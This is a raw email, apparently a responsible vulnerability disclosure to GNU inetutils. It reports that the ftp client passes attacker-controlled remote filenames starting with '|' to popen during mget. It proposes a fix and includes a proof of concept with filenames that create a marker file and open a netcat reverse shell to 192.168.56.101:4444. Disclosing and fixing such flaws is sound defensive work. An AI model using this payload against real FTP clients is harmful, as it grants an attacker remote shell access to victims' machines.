Vulnerability report in ftp client

--0000000000007e14080650e4de81
Content-Type: text/plain; charset="UTF-8"

Hi Team,

I was looking at the code for ftp client from GNU inetutils and noticed
that ftp client is vulnerable to remote code execution when receiving files
from a malicious FTP server.

Version: inetutils-v2.8-src.tar.gz (all versions seem to be vulnerable)

Details:

The FTP client allows the user to specify a local file name when fetching
files from a remote FTP server using get or mget commands. If the local
file name starts with a pipe character (|), the code passes this local file
name directly to a popen call leading to code execution. The vulnerability
arises from the fact that when a local file name is not specified, the
value of the "local" variable is set to a remote file name (controlled by
the attacker) and still executed if the name starts with a pipe character.

The function "recvrequest" in ftp/ftp.c has following code on line 993

else if (*local == '|')
  {
    oldintp = signal(SIGPIPE, SIG_IGN);
    fout = popen(local + 1, "w");

When a victim naively runs "mget ." to get all contents of directory from a
malicious FTP server, the attacker can run arbitrary commands on victims
machine by creating files that start with a pipe character followed by a
malicious payload.

This code seems to be present since the initial commit in 1995.

Proof of concept:

On attacker's FTP server, create a files such as

touch '|touch hackedbyftp'
touch '|nc 192.168.56.101 4444 -c sh'

Victim connects to this FTP server and naively runs

mget .

You will notice that an arbitrary file hackedbyftp is created and if there
is a listener at 192.168.56.101:4444, a reverse shell will be created
granting full access to the victims machine.
By default prompt is on which asks the user to confirm receiving of each
file but if prompt is off, there is no confirmation required.

Solution:
Popen should only be called if the local filename is specified by the user.
Code should never trust remote file names and should never call popen on
untrusted input.

Regards,
Rajesh Pangare

--0000000000007e14080650e4de81
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable

<div dir=3D"ltr">Hi Team,<div><br></div><div>I was looking at the code for =
ftp client from GNU inetutils and noticed that ftp client is vulnerable to =
remote code execution when receiving files from a malicious FTP server.</di=
v><div><br></div><div>Version:=C2=A0inetutils-v2.8-src.tar.gz (all versions=
 seem to be vulnerable)</div><div><br></div><div>Details:</div><div><br></d=
iv><div>The FTP client allows the user to specify a local file name when fe=
tching files from a remote FTP server using get or mget commands. If the lo=
cal file name starts with a pipe character (|), the code passes this local =
file name directly to a popen call leading to code execution. The vulnerabi=
lity arises from the fact that when a local file name is not specified, the=
 value of the &quot;local&quot; variable is set to a remote file name (cont=
rolled by the attacker) and still executed if the name starts with a pipe c=
haracter.=C2=A0</div><div><br></div><div>The function &quot;recvrequest&quo=
t;=C2=A0in ftp/ftp.c has following code on line=C2=A0993</div><div><br></di=
v><div>else if (*local =3D=3D &#39;|&#39;)<br>=C2=A0 {<br>=C2=A0 =C2=A0 old=
intp =3D signal(SIGPIPE, SIG_IGN);<br>=C2=A0 =C2=A0 fout =3D popen(local + =
1, &quot;w&quot;);</div><div><br></div><div>When a victim=C2=A0naively=C2=
=A0runs &quot;mget .&quot; to get all contents of directory from a maliciou=
s FTP server, the attacker can run arbitrary commands on victims machine by=
 creating files that start with a pipe character followed by a malicious pa=
yload.</div><div><br></div><div>This code seems to be present since the ini=
tial commit in 1995.</div><div><br></div><div>Proof of concept:</div><div><=
br></div><div>On attacker&#39;s FTP server, create a files such as=C2=A0</d=
iv><div><br></div><div>touch &#39;|touch hackedbyftp&#39;</div><div><div>to=
uch &#39;|nc 192.168.56.101 4444 -c sh&#39;</div></div><div><br></div><div>=
Victim connects=C2=A0to this FTP server and naively runs=C2=A0</div><div><b=
r></div><div>mget .</div><div><br></div><div>You will notice that an arbitr=
ary file hackedbyftp=C2=A0is created and if there is a listener at <a href=
=3D"http://192.168.56.101:4444">192.168.56.101:4444</a>, a reverse shell wi=
ll be created granting full access to the victims machine.</div><div>By def=
ault prompt is on which asks the user to confirm receiving of each file but=
 if prompt is off, there is no confirmation required.</div><div><br></div><=
div>Solution:</div><div>Popen should only be called if the local filename i=
s specified=C2=A0by the user. Code should never trust remote file names and=
 should never call popen on untrusted input.</div><div><br></div><div>Regar=
ds,</div><div>Rajesh Pangare</div></div>

--0000000000007e14080650e4de81--